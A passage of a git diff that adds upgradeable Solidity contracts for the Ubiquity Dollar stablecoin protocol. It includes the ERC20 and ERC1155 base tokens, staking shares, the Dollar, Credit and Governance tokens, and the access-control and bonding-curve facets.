__ERC1155_init(_uri); + __ERC1155Burnable_init(); + __ERC1155Pausable_init(); + __UUPSUpgradeable_init(); + // init current contract + __ERC1155Ubiquity_init_unchained(_manager); + } + + /// @notice Initializes the current contract + /// @param _manager Address of the manager of the contract + function __ERC1155Ubiquity_init_unchained( + address _manager + ) internal onlyInitializing { + accessControl = IAccessControl(_manager); + } + + /** + * @notice Returns access control address + * @return Access control address + */ + function getManager() external view returns (address) { + return address(accessControl); + } + + /** + * @notice Sets access control address + * @param _manager New access control address + */ + function setManager(address _manager) external onlyAdmin { + accessControl = IAccessControl(_manager); + } + + /** + * @notice Sets base URI + * @param newURI New URI + */ + function setUri(string memory newURI) external onlyAdmin { + _setURI(newURI); + } + + /** + * @notice Creates `amount` new tokens for `to`, of token type `id` + * @param to Address where to mint tokens + * @param id Token type id + * @param amount Tokens amount to mint + * @param data Arbitrary data + */ + function mint( + address to, + uint256 id, + uint256 amount, + bytes memory data + ) public virtual onlyMinter { + _mint(to, id, amount, data); + totalSupply += amount; + holderBalances[to].add(id); + } + + /** + * @notice Mints multiple token types for `to` address + * @param to Address where to mint tokens + * @param ids Array of token type ids + * @param amounts Array of token amounts + * @param data Arbitrary data + */ + function mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public virtual onlyMinter whenNotPaused { + _mintBatch(to, ids, amounts, data); + uint256 localTotalSupply = totalSupply; + for (uint256 i = 0; i < ids.length; ++i) { + localTotalSupply += amounts[i]; + } + totalSupply = localTotalSupply; + holderBalances[to].add(ids); + } + + /// @notice Pauses all token transfers + function pause() public virtual onlyPauser { + _pause(); + } + + /// @notice Unpauses all token transfers + function unpause() public virtual onlyPauser { + _unpause(); + } + + /** + * @notice Transfers `amount` tokens of token type `id` from `from` to `to`. + * + * Emits a `TransferSingle` event. + * + * Requirements: + * + * - `to` cannot be the zero address. + * - If the caller is not `from`, it must have been approved to spend ``from``'s tokens via `setApprovalForAll`. + * - `from` must have a balance of tokens of type `id` of at least `amount`. + * - If `to` refers to a smart contract, it must implement `IERC1155Receiver-onERC1155Received` and return the + * acceptance magic value. + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) public virtual override { + super.safeTransferFrom(from, to, id, amount, data); + holderBalances[to].add(id); + } + + /** + * @notice Batched version of `safeTransferFrom()` + * + * Emits a `TransferBatch` event. + * + * Requirements: + * + * - `ids` and `amounts` must have the same length. + * - If `to` refers to a smart contract, it must implement `IERC1155Receiver-onERC1155BatchReceived` and return the + * acceptance magic value. + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public virtual override { + super.safeBatchTransferFrom(from, to, ids, amounts, data); + holderBalances[to].add(ids); + } + + /** + * @notice Returns array of token ids held by the `holder` + * @param holder Account to check tokens for + * @return Array of tokens which `holder` has + */ + function holderTokens( + address holder + ) public view returns (uint256[] memory) { + return holderBalances[holder]; + } + + /** + * @notice Destroys `amount` tokens of token type `id` from `account` + * + * Emits a `TransferSingle` event. + * + * Requirements: + * + * - `account` cannot be the zero address. + * - `account` must have at least `amount` tokens of token type `id`. + */ + function _burn( + address account, + uint256 id, + uint256 amount + ) internal virtual override whenNotPaused { + super._burn(account, id, amount); + totalSupply -= amount; + } + + /** + * @notice Batched version of `_burn()` + * + * Emits a `TransferBatch` event. + * + * Requirements: + * + * - `ids` and `amounts` must have the same length. + */ + function _burnBatch( + address account, + uint256[] memory ids, + uint256[] memory amounts + ) internal virtual override whenNotPaused { + super._burnBatch(account, ids, amounts); + for (uint256 i = 0; i < ids.length; ++i) { + totalSupply -= amounts[i]; + } + } + + /** + * @notice Hook that is called before any token transfer. This includes minting + * and burning, as well as batched variants. + * + * The same hook is called on both single and batched variants. For single + * transfers, the length of the `ids` and `amounts` arrays will be 1. + * + * Calling conditions (for each `id` and `amount` pair): + * + * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens + * of token type `id` will be transferred to `to`. + * - When `from` is zero, `amount` tokens of token type `id` will be minted + * for `to`. + * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` + * will be burned. + * - `from` and `to` are never both zero. + * - `ids` and `amounts` have the same, non-zero length. + */ + function _beforeTokenTransfer( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) + internal + virtual + override(ERC1155PausableUpgradeable, ERC1155Upgradeable) + { + super._beforeTokenTransfer(operator, from, to, ids, amounts, data); + } + + /// @notice Allows an admin to upgrade to another implementation contract + /// @param newImplementation Address of the new implementation contract + function _authorizeUpgrade( + address newImplementation + ) internal virtual override onlyAdmin {} + + /// @notice Allows for future upgrades on the base contract without affecting the storage of the derived contract + uint256[50] private __gap; +} diff --git a/packages/contracts/src/dollar/core/ERC20Ubiquity.sol b/packages/contracts/src/dollar/core/ERC20Ubiquity.sol new file mode 100644 index 000000000..e005cc262 --- /dev/null +++ b/packages/contracts/src/dollar/core/ERC20Ubiquity.sol @@ -0,0 +1,207 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import {IAccessControl} from "../interfaces/IAccessControl.sol"; +import {DEFAULT_ADMIN_ROLE, PAUSER_ROLE} from "../libraries/Constants.sol"; +import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; +import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; +import {ERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; +import {ERC20PermitUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PermitUpgradeable.sol"; +import {ERC20PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PausableUpgradeable.sol"; +import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; +import {IERC20PermitUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20PermitUpgradeable.sol"; + +/** + * @notice Base contract for Ubiquity ERC20 tokens (Dollar, Credit, Governance) + * @notice ERC20 with: + * - ERC20 minter, burner and pauser + * - draft-ERC20 permit + * - Ubiquity Manager access control + */ +abstract contract ERC20Ubiquity is + Initializable, + UUPSUpgradeable, + ERC20Upgradeable, + ERC20PermitUpgradeable, + ERC20PausableUpgradeable +{ + /// @notice Token symbol + string private _symbol; + + /// @notice Access control interface + IAccessControl public accessControl; + + /// @notice Emitted when tokens are burned + event Burning(address indexed _burned, uint256 _amount); + + /// @notice Emitted when tokens are minted + event Minting( + address indexed _to, + address indexed _minter, + uint256 _amount + ); + + /// @notice Modifier checks that the method is called by a user with the "pauser" role + modifier onlyPauser() { + require( + accessControl.hasRole(PAUSER_ROLE, msg.sender), + "ERC20Ubiquity: not pauser" + ); + _; + } + + /// @notice Modifier checks that the method is called by a user with the "admin" role + modifier onlyAdmin() { + require( + accessControl.hasRole(DEFAULT_ADMIN_ROLE, msg.sender), + "ERC20Ubiquity: not admin" + ); + _; + } + + /// @notice Ensures __ERC20Ubiquity_init cannot be called on the implementation contract + constructor() { + _disableInitializers(); + } + + /// @notice Initializes this contract with all base(parent) contracts + /// @param _manager Address of the manager of the contract + /// @param name_ Token name + /// @param symbol_ Token symbol + function __ERC20Ubiquity_init( + address _manager, + string memory name_, + string memory symbol_ + ) internal onlyInitializing { + // init base contracts + __ERC20_init(name_, symbol_); + __ERC20Permit_init(name_); + __ERC20Pausable_init(); + __UUPSUpgradeable_init(); + // init the current contract + __ERC20Ubiquity_init_unchained(_manager, symbol_); + } + + /// @notice Initializes the current contract + /// @param _manager Address of the manager of the contract + /// @param symbol_ Token symbol + function __ERC20Ubiquity_init_unchained( + address _manager, + string memory symbol_ + ) internal onlyInitializing { + _symbol = symbol_; + accessControl = IAccessControl(_manager); + } + + /** + * @notice Updates token symbol + * @param newSymbol New token symbol name + */ + function setSymbol(string memory newSymbol) external onlyAdmin { + _symbol = newSymbol; + } + + /** + * @notice Returns token symbol name + * @return Token symbol name + */ + function symbol() public view virtual override returns (string memory) { + return _symbol; + } + + /** + * @notice Returns access control address + * @return Access control address + */ + function getManager() external view returns (address) { + return address(accessControl); + } + + /** + * @notice Sets access control address + * @param _manager New access control address + */ + function setManager(address _manager) external onlyAdmin { + accessControl = IAccessControl(_manager); + } + + /// @notice Pauses all token transfers + function pause() public onlyPauser { + _pause(); + } + + /// @notice Unpauses all token transfers + function unpause() public onlyPauser { + _unpause(); + } + + /** + * @notice Destroys `amount` tokens from the caller + * @param amount Amount of tokens to destroy + */ + function burn(uint256 amount) public virtual whenNotPaused { + _burn(_msgSender(), amount); + emit Burning(msg.sender, amount); + } + + /** + * @notice Destroys `amount` tokens from `account`, deducting from the caller's + * allowance + * @notice Requirements: + * - the caller must have allowance for `account`'s tokens of at least `amount` + * @param account Address to burn tokens from + * @param amount Amount of tokens to burn + */ + function burnFrom(address account, uint256 amount) public virtual; + + /** + * @notice Hook that is called before any transfer of tokens. This includes + * minting and burning. + * + * Calling conditions: + * + * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens + * will be transferred to `to`. + * - when `from` is zero, `amount` tokens will be minted for `to`. + * - when `to` is zero, `amount` of ``from``'s tokens will be burned. + * - `from` and `to` are never both zero. + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 amount + ) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) { + super._beforeTokenTransfer(from, to, amount); + } + + /** + * @notice Moves `amount` of tokens from `from` to `to`. + * + * This internal function is equivalent to `transfer`, and can be used to + * e.g. implement automatic token fees, slashing mechanisms, etc. + * + * Emits a `Transfer` event. + * + * Requirements: + * + * - `from` cannot be the zero address. + * - `to` cannot be the zero address. + * - `from` must have a balance of at least `amount`. + */ + function _transfer( + address sender, + address recipient, + uint256 amount + ) internal virtual override whenNotPaused { + super._transfer(sender, recipient, amount); + } + + /// @notice Allows an admin to upgrade to another implementation contract + /// @param newImplementation Address of the new implementation contract + function _authorizeUpgrade( + address newImplementation + ) internal virtual override onlyAdmin {} + + /// @notice Allows for future upgrades on the base contract without affecting the storage of the derived contract + uint256[50] private __gap; +} diff --git a/packages/contracts/src/dollar/core/StakingShare.sol b/packages/contracts/src/dollar/core/StakingShare.sol new file mode 100644 index 000000000..98482a8b4 --- /dev/null +++ b/packages/contracts/src/dollar/core/StakingShare.sol @@ -0,0 +1,290 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import {ERC1155Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; +import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; +import {ERC1155Ubiquity} from "./ERC1155Ubiquity.sol"; +import {ERC1155URIStorageUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155URIStorageUpgradeable.sol"; +import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; +import "../../dollar/utils/SafeAddArray.sol"; +import "../interfaces/IAccessControl.sol"; +import "../libraries/Constants.sol"; + +/// @notice Contract representing a staking share in the form of ERC1155 token +contract StakingShare is ERC1155Ubiquity, ERC1155URIStorageUpgradeable { + using SafeAddArray for uint256[]; + + /// @notice Stake struct + struct Stake { + // address of the minter + address minter; + // lp amount deposited by the user + uint256 lpFirstDeposited; + uint256 creationBlock; + // lp that were already there when created + uint256 lpRewardDebt; + uint256 endBlock; + // lp remaining for a user + uint256 lpAmount; + } + + /// @notice Mapping of stake id to stake info + mapping(uint256 => Stake) private _stakes; + + /// @notice Total LP amount staked + uint256 private _totalLP; + + /// @notice Base token URI + string private _baseURI; + + // ----------- Modifiers ----------- + + /// @notice Modifier checks that the method is called by a user with the "Staking share minter" role + modifier onlyMinter() override { + require( + accessControl.hasRole(STAKING_SHARE_MINTER_ROLE, msg.sender), + "Staking Share: not minter" + ); + _; + } + + /// @notice Modifier checks that the method is called by a user with the "Staking share burner" role + modifier onlyBurner() override { + require( + accessControl.hasRole(STAKING_SHARE_BURNER_ROLE, msg.sender), + "Staking Share: not burner" + ); + _; + } + + /// @notice Modifier checks that the method is called by a user with the "Pauser" role + modifier onlyPauser() override { + require( + accessControl.hasRole(PAUSER_ROLE, msg.sender), + "Staking Share: not pauser" + ); + _; + } + + /// @notice Ensures initialize cannot be called on the implementation contract + constructor() { + _disableInitializers(); + } + + /// @notice Initializes this contract + /// @param _manager Address of the manager of the contract + /// @param _uri Base URI + function initialize( + address _manager, + string memory _uri + ) public virtual initializer { + __ERC1155Ubiquity_init(_manager, _uri); + } + + /** + * @notice Updates a staking share + * @param _stakeId Staking share id + * @param _lpAmount Amount of Dollar-3CRV LP tokens deposited + * @param _lpRewardDebt Amount of excess LP token inside the staking contract + * @param _endBlock Block number when the locking period ends + */ + function updateStake( + uint256 _stakeId, + uint256 _lpAmount, + uint256 _lpRewardDebt, + uint256 _endBlock + ) external onlyMinter whenNotPaused { + Stake storage stake = _stakes[_stakeId]; + uint256 curLpAmount = stake.lpAmount; + if (curLpAmount > _lpAmount) { + // we are removing LP + _totalLP -= curLpAmount - _lpAmount; + } else { + // we are adding LP + _totalLP += _lpAmount - curLpAmount; + } + stake.lpAmount = _lpAmount; + stake.lpRewardDebt = _lpRewardDebt; + stake.endBlock = _endBlock; + } + + /** + * @notice Mints a single staking share token for the `to` address + * @param to Owner address + * @param lpDeposited Amount of Dollar-3CRV LP tokens deposited + * @param lpRewardDebt Amount of excess LP tokens inside the staking contract + * @param endBlock Block number when the locking period ends + * @return id Minted staking share id + */ + function mint( + address to, + uint256 lpDeposited, + uint256 lpRewardDebt, + uint256 endBlock + ) public virtual onlyMinter whenNotPaused returns (uint256 id) { + id = totalSupply + 1; + _mint(to, id, 1, bytes("")); + totalSupply += 1; + holderBalances[to].add(id); + Stake storage _stake = _stakes[id]; + _stake.minter = to; + _stake.lpFirstDeposited = lpDeposited; + _stake.lpAmount = lpDeposited; + _stake.lpRewardDebt = lpRewardDebt; + _stake.creationBlock = block.number; + _stake.endBlock = endBlock; + _totalLP += lpDeposited; + } + + /** + * @notice Transfers `amount` tokens of token type `id` from `from` to `to`. + * + * Emits a {TransferSingle} event. + * + * Requirements: + * + * - `to` cannot be the zero address. + * - If the caller is not `from`, it must have been approved to spend ``from``'s tokens via {setApprovalForAll}. + * - `from` must have a balance of tokens of type `id` of at least `amount`. + * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the + * acceptance magic value. + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) public override(ERC1155Upgradeable, ERC1155Ubiquity) whenNotPaused { + super.safeTransferFrom(from, to, id, amount, data); + } + + /** + * @notice Returns total amount of Dollar-3CRV LP tokens deposited + * @return Total amount of LP tokens deposited + */ + function totalLP() public view virtual returns (uint256) { + return _totalLP; + } + + /** + * @notice Returns stake info + * @param id Staking share id + * @return Staking share info + */ + function getStake(uint256 id) public view returns (Stake memory) { + return _stakes[id]; + } + + /// @inheritdoc ERC1155Ubiquity + function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) + public + virtual + override(ERC1155Upgradeable, ERC1155Ubiquity) + whenNotPaused + { + super.safeBatchTransferFrom(from, to, ids, amounts, data); + } + + /// @inheritdoc ERC1155Ubiquity + function _burnBatch( + address account, + uint256[] memory ids, + uint256[] memory amounts + ) + internal + virtual + override(ERC1155Upgradeable, ERC1155Ubiquity) + whenNotPaused + { + super._burnBatch(account, ids, amounts); + } + + /// @inheritdoc ERC1155Ubiquity + function _beforeTokenTransfer( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) internal virtual override(ERC1155Upgradeable, ERC1155Ubiquity) { + super._beforeTokenTransfer(operator, from, to, ids, amounts, data); + } + + /** + * @notice Returns URI by token id + * @param tokenId Token id + * @return URI string + */ + function uri( + uint256 tokenId + ) + public + view + virtual + override(ERC1155Upgradeable, ERC1155URIStorageUpgradeable) + returns (string memory) + { + return super.uri(tokenId); + } + + /// @inheritdoc ERC1155Ubiquity + function _burn( + address account, + uint256 id, + uint256 amount + ) + internal + virtual + override(ERC1155Upgradeable, ERC1155Ubiquity) + whenNotPaused + { + require(amount == 1, "amount <> 1"); + super._burn(account, id, 1); + Stake storage _stake = _stakes[id]; + require(_stake.lpAmount == 0, "LP <> 0"); + totalSupply -= 1; + } + + /** + * @notice Sets URI for token type `tokenId` + * @param tokenId Token type id + * @param tokenUri Token URI + */ + function setUri( + uint256 tokenId, + string memory tokenUri + ) external onlyMinter { + _setURI(tokenId, tokenUri); + } + + /** + * @notice Sets base URI for all token types + * @param newUri New URI string + */ + function setBaseUri(string memory newUri) external onlyMinter { + _setBaseURI(newUri); + _baseURI = newUri; + } + + /** + * @notice Returns base URI for all token types + * @return Base URI string + */ + function getBaseUri() external view returns (string memory) { + return _baseURI; + } + + /// @notice Allows an admin to upgrade to another implementation contract + /// @param newImplementation Address of the new implementation contract + function _authorizeUpgrade( + address newImplementation + ) internal override onlyAdmin {} +} diff --git a/packages/contracts/src/dollar/core/UbiquityCreditToken.sol b/packages/contracts/src/dollar/core/UbiquityCreditToken.sol new file mode 100644 index 000000000..021438b08 --- /dev/null +++ b/packages/contracts/src/dollar/core/UbiquityCreditToken.sol @@ -0,0 +1,88 @@ +// SPDX-License-Identifier: Apache-2.0 +pragma solidity ^0.8.19; + +import {ManagerFacet} from "../facets/ManagerFacet.sol"; +import {ERC20Ubiquity} from "./ERC20Ubiquity.sol"; +import {IERC20Ubiquity} from "../../dollar/interfaces/IERC20Ubiquity.sol"; + +import "../libraries/Constants.sol"; + +/** + * @notice Credit token contract + */ +contract UbiquityCreditToken is ERC20Ubiquity { + /// @notice Ensures initialize cannot be called on the implementation contract + constructor() { + _disableInitializers(); + } + + /// @notice Initializes the contract + /// @param _manager Address of the Ubiquity Manager + function initialize(address _manager) public initializer { + // cspell: disable-next-line + __ERC20Ubiquity_init(_manager, "Ubiquity Credit", "uCR"); + } + + // ----------- Modifiers ----------- + + /// @notice Modifier checks that the method is called by a user with the "Credit minter" role + modifier onlyCreditMinter() { + require( + accessControl.hasRole(CREDIT_TOKEN_MINTER_ROLE, _msgSender()), + "Credit token: not minter" + ); + _; + } + + /// @notice Modifier checks that the method is called by a user with the "Credit burner" role + modifier onlyCreditBurner() { + require( + accessControl.hasRole(CREDIT_TOKEN_BURNER_ROLE, _msgSender()), + "Credit token: not burner" + ); + _; + } + + /** + * @notice Raises capital in the form of Ubiquity Credit Token + * @param amount Amount to be minted + * @dev CREDIT_TOKEN_MINTER_ROLE access control role is required to call this function + */ + function raiseCapital(uint256 amount) external { + address treasuryAddress = ManagerFacet(address(accessControl)) + .treasuryAddress(); + mint(treasuryAddress, amount); + } + + /** + * @notice Burns Ubiquity Credit tokens from specified account + * @param account Account to burn from + * @param amount Amount to burn + */ + function burnFrom( + address account, + uint256 amount + ) public override onlyCreditBurner whenNotPaused { + _burn(account, amount); + emit Burning(account, amount); + } + + /** + * @notice Creates `amount` new Credit tokens for `to` + * @param to Account to mint Credit tokens to + * @param amount Amount of Credit tokens to mint + */ + function mint( + address to, + uint256 amount + ) public onlyCreditMinter whenNotPaused { + _mint(to, amount); + emit Minting(to, _msgSender(), amount); + } + + /// @notice Allows an admin to upgrade to another implementation contract + /// @param newImplementation Address of the new implementation contract + function _authorizeUpgrade( + address newImplementation + ) internal override onlyAdmin {} +} diff --git a/packages/contracts/src/dollar/core/UbiquityDollarToken.sol b/packages/contracts/src/dollar/core/UbiquityDollarToken.sol new file mode 100644 index 000000000..1354c4b6c --- /dev/null +++ b/packages/contracts/src/dollar/core/UbiquityDollarToken.sol @@ -0,0 +1,76 @@ +// SPDX-License-Identifier: Apache-2.0 +pragma solidity ^0.8.19; + +import {ERC20Ubiquity} from "./ERC20Ubiquity.sol"; +import {IERC20Ubiquity} from "../../dollar/interfaces/IERC20Ubiquity.sol"; + +import "../libraries/Constants.sol"; + +/** + * @notice Ubiquity Dollar token contract + */ +contract UbiquityDollarToken is ERC20Ubiquity { + /// @notice Ensures initialize cannot be called on the implementation contract + constructor() { + _disableInitializers(); + } + + /// @notice Initializes the contract + /// @param _manager Address of the Ubiquity Manager + function initialize(address _manager) public initializer { + // cspell: disable-next-line + __ERC20Ubiquity_init(_manager, "Ubiquity Dollar", "uAD"); + } + + // ----------- Modifiers ----------- + + /// @notice Modifier checks that the method is called by a user with the "Dollar minter" role + modifier onlyDollarMinter() { + require( + accessControl.hasRole(DOLLAR_TOKEN_MINTER_ROLE, _msgSender()), + "Dollar token: not minter" + ); + _; + } + + /// @notice Modifier checks that the method is called by a user with the "Dollar burner" role + modifier onlyDollarBurner() { + require( + accessControl.hasRole(DOLLAR_TOKEN_BURNER_ROLE, _msgSender()), + "Dollar token: not burner" + ); + _; + } + + /** + * @notice Burns Dollars from the `account` address + * @param account Address to burn tokens from + * @param amount Amount of tokens to burn + */ + function burnFrom( + address account, + uint256 amount + ) public override onlyDollarBurner whenNotPaused { + _burn(account, amount); + emit Burning(account, amount); + } + + /** + * @notice Mints Dollars to the `to` address + * @param to Address to mint tokens to + * @param amount Amount of tokens to mint + */ + function mint( + address to, + uint256 amount + ) public onlyDollarMinter whenNotPaused { + _mint(to, amount); + emit Minting(to, _msgSender(), amount); + } + + /// @notice Allows an admin to upgrade to another implementation contract + /// @param newImplementation Address of the new implementation contract + function _authorizeUpgrade( + address newImplementation + ) internal override onlyAdmin {} +} diff --git a/packages/contracts/src/dollar/core/UbiquityGovernanceToken.sol b/packages/contracts/src/dollar/core/UbiquityGovernanceToken.sol new file mode 100644 index 000000000..65184eb82 --- /dev/null +++ b/packages/contracts/src/dollar/core/UbiquityGovernanceToken.sol @@ -0,0 +1,77 @@ +// SPDX-License-Identifier: Apache-2.0 +pragma solidity ^0.8.19; + +import {ERC20Ubiquity} from "./ERC20Ubiquity.sol"; +import {IERC20Ubiquity} from "../../dollar/interfaces/IERC20Ubiquity.sol"; +import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; + +import "../libraries/Constants.sol"; + +/** + * @notice Ubiquity Governance token contract + */ +contract UbiquityGovernanceToken is ERC20Ubiquity { + /// @notice Ensures initialize cannot be called on the implementation contract + constructor() { + _disableInitializers(); + } + + /// @notice Initializes the contract + /// @param _manager Address of the Ubiquity Manager + function initialize(address _manager) public initializer { + // cspell: disable-next-line + __ERC20Ubiquity_init(_manager, "Ubiquity", "UBQ"); + } + + // ----------- Modifiers ----------- + + /// @notice Modifier checks that the method is called by a user with the "Governance minter" role + modifier onlyGovernanceMinter() { + require( + accessControl.hasRole(GOVERNANCE_TOKEN_MINTER_ROLE, _msgSender()), + "Governance token: not minter" + ); + _; + } + + /// @notice Modifier checks that the method is called by a user with the "Governance burner" role + modifier onlyGovernanceBurner() { + require( + accessControl.hasRole(GOVERNANCE_TOKEN_BURNER_ROLE, _msgSender()), + "Governance token: not burner" + ); + _; + } + + /** + * @notice Burns Governance tokens from the `account` address + * @param account Address to burn tokens from + * @param amount Amount of tokens to burn + */ + function burnFrom( + address account, + uint256 amount + ) public override onlyGovernanceBurner whenNotPaused { + _burn(account, amount); + emit Burning(account, amount); + } + + /** + * @notice Mints Governance tokens to the `to` address + * @param to Address to mint tokens to + * @param amount Amount of tokens to mint + */ + function mint( + address to, + uint256 amount + ) public onlyGovernanceMinter whenNotPaused { + _mint(to, amount); + emit Minting(to, _msgSender(), amount); + } + + /// @notice Allows an admin to upgrade to another implementation contract + /// @param newImplementation Address of the new implementation contract + function _authorizeUpgrade( + address newImplementation + ) internal override onlyAdmin {} +} diff --git a/packages/contracts/src/dollar/facets/AccessControlFacet.sol b/packages/contracts/src/dollar/facets/AccessControlFacet.sol new file mode 100644 index 000000000..4fe247194 --- /dev/null +++ b/packages/contracts/src/dollar/facets/AccessControlFacet.sol @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IAccessControl} from "../interfaces/IAccessControl.sol"; +import {AccessControlInternal} from "../access/AccessControlInternal.sol"; +import {LibAccessControl} from "../libraries/LibAccessControl.sol"; +import {Modifiers} from "../libraries/LibAppStorage.sol"; + +/** + * @notice Role-based access control facet + * @dev Derived from https://github.com/OpenZeppelin/openzeppelin-contracts (MIT license) + * @dev https://github.com/solidstate-network/solidstate-solidity/blob/master/contracts/access/access_control/AccessControl.sol + */ +contract AccessControlFacet is + Modifiers, + IAccessControl, + AccessControlInternal +{ + /// @inheritdoc IAccessControl + function grantRole( + bytes32 role, + address account + ) external onlyRole(_getRoleAdmin(role)) { + return _grantRole(role, account); + } + + /// @inheritdoc IAccessControl + function setRoleAdmin(bytes32 role, bytes32 adminRole) external onlyAdmin { + _setRoleAdmin(role, adminRole); + } + + /// @inheritdoc IAccessControl + function hasRole( + bytes32 role, + address account + ) external view returns (bool) { + return _hasRole(role, account); + } + + /// @inheritdoc IAccessControl + function getRoleAdmin(bytes32 role) external view returns (bytes32) { + return _getRoleAdmin(role); + } + + /// @inheritdoc IAccessControl + function revokeRole( + bytes32 role, + address account + ) external onlyRole(_getRoleAdmin(role)) { + return _revokeRole(role, account); + } + + /// @inheritdoc IAccessControl + function renounceRole(bytes32 role) external { + return _renounceRole(role); + } + + /// @notice Returns true if the contract is paused and false otherwise + function paused() public view returns (bool) { + return LibAccessControl.paused(); + } + + /// @notice Pauses the contract + function pause() external whenNotPaused onlyAdmin { + LibAccessControl.pause(); + } + + /// @notice Unpauses the contract + function unpause() external whenPaused onlyAdmin { + LibAccessControl.unpause(); + } +} diff --git a/packages/contracts/src/dollar/facets/BondingCurveFacet.sol b/packages/contracts/src/dollar/facets/BondingCurveFacet.sol new file mode 100644 index 000000000..518810d5b --- /dev/null +++ b/packages/contracts/src/dollar/facets/BondingCurveFacet.sol @@ -0,0 +1,133 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibBondingCurve} from "../libraries/LibBondingCurve.sol"; +import {Modifiers} from "../libraries/LibAppStorage.sol"; + +import {IBondingCurve} from "../../dollar/interfaces/IBondingCurve.sol"; + +/** + * @notice Bonding curve contract based on Bancor formula + * @notice Inspired from Bancor protocol https://github.com/bancorprotocol/contracts + * @notice Used on UbiquiStick NFT minting + */ +contract BondingCurveFacet is Modifiers, IBondingCurve { + /** + * @notice Sets bonding curve params + * @param _connectorWeight Connector weight + * @param _baseY Base Y + */ + function setParams( + uint32 _connectorWeight, + uint256 _baseY + ) external onlyAdmin { + LibBondingCurve.setParams(_connectorWeight, _baseY); + } + + /** + * @notice Returns `connectorWeight` value + * @return Connector weight value + */ + function connectorWeight() external view returns (uint32) { + return LibBondingCurve.connectorWeight(); + } + + /** + * @notice Returns `baseY` value + * @return Base Y value + */ + function baseY() external view returns (uint256) { + return LibBondingCurve.baseY(); + } + + /** + * @notice Returns total balance of deposited collateral + * @return Amount of deposited collateral + */ + function poolBalance() external view returns (uint256) { + return LibBondingCurve.poolBalance(); + } + + /** + * @notice Deposits collateral tokens in exchange for UbiquiStick NFT + * @param _collateralDeposited Amount of collateral + * @param _recipient Address to receive the NFT + */ + function deposit( + uint256 _collateralDeposited, + address _recipient + ) external { + LibBondingCurve.deposit(_collateralDeposited, _recipient); + } + + /** + * @notice Returns number of NFTs a `_recipient` holds + * @param _recipient User address + * @return Amount of NFTs for `_recipient` + */ + function getShare(address _recipient) external view returns (uint256) { + return LibBondingCurve.getShare(_recipient); + } + + /** + * @notice Withdraws collateral tokens to treasury + * @param _amount Amount of collateral tokens to withdraw + */ + function withdraw(uint256 _amount) external onlyAdmin whenNotPaused { + LibBondingCurve.withdraw(_amount); + } + + /** + * @notice Given a token supply, reserve balance, weight and a deposit amount (in the reserve token), + * calculates the target amount for a given conversion (in the main token) + * + * @notice `_supply * ((1 + _tokensDeposited / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)` + * + * @param _tokensDeposited Amount of collateral tokens to deposit + * @param _connectorWeight Connector weight, represented in ppm, 1 - 1,000,000 + * @param _supply Current token supply + * @param _connectorBalance Total connector balance + * @return Amount of tokens minted + */ + function purchaseTargetAmount( + uint256 _tokensDeposited, + uint32 _connectorWeight, + uint256 _supply, + uint256 _connectorBalance + ) external pure returns (uint256) { + return + LibBondingCurve.purchaseTargetAmount( + _tokensDeposited, + _connectorWeight, + _supply, + _connectorBalance + ); + } + + /** + * @notice Given a deposit (in the collateral token) token supply of 0, calculates the return + * for a given conversion (in the token) + * + * @notice `_supply * ((1 + _tokensDeposited / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)` + * + * @param _tokensDeposited Amount of collateral tokens to deposit + * @param _connectorWeight Connector weight, represented in ppm, 1 - 1,000,000 + * @param _baseX Constant x + * @param _baseY Expected price + * @return Amount of tokens minted + */ + function purchaseTargetAmountFromZero( + uint256 _tokensDeposited, + uint256 _connectorWeight, + uint256 _baseX, + uint256 _baseY + ) external pure returns (uint256) { + return + LibBondingCurve.purchaseTargetAmountFromZero( + _tokensDeposited, + _connectorWeight, + _baseX, + _baseY + ); + } +} diff --git a/packages/contracts/src/dollar/facets/ChefFacet.sol b/packages/contracts/src/dollar/facets/ChefFacet.sol new file mode 100644 index 000000000..1508e207d --- /dev/null +++ b/packages/contracts/src/dollar/facets/ChefFacet.sol @@ -0,0 +1,128 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibChef} from "../libraries/LibChef.sol"; +import {Modifiers} from "../libraries/LibAppStorage.sol"; + +/** + * @notice Contract facet for staking Dollar-3CRV LP tokens for Governance tokens reward + */ +contract 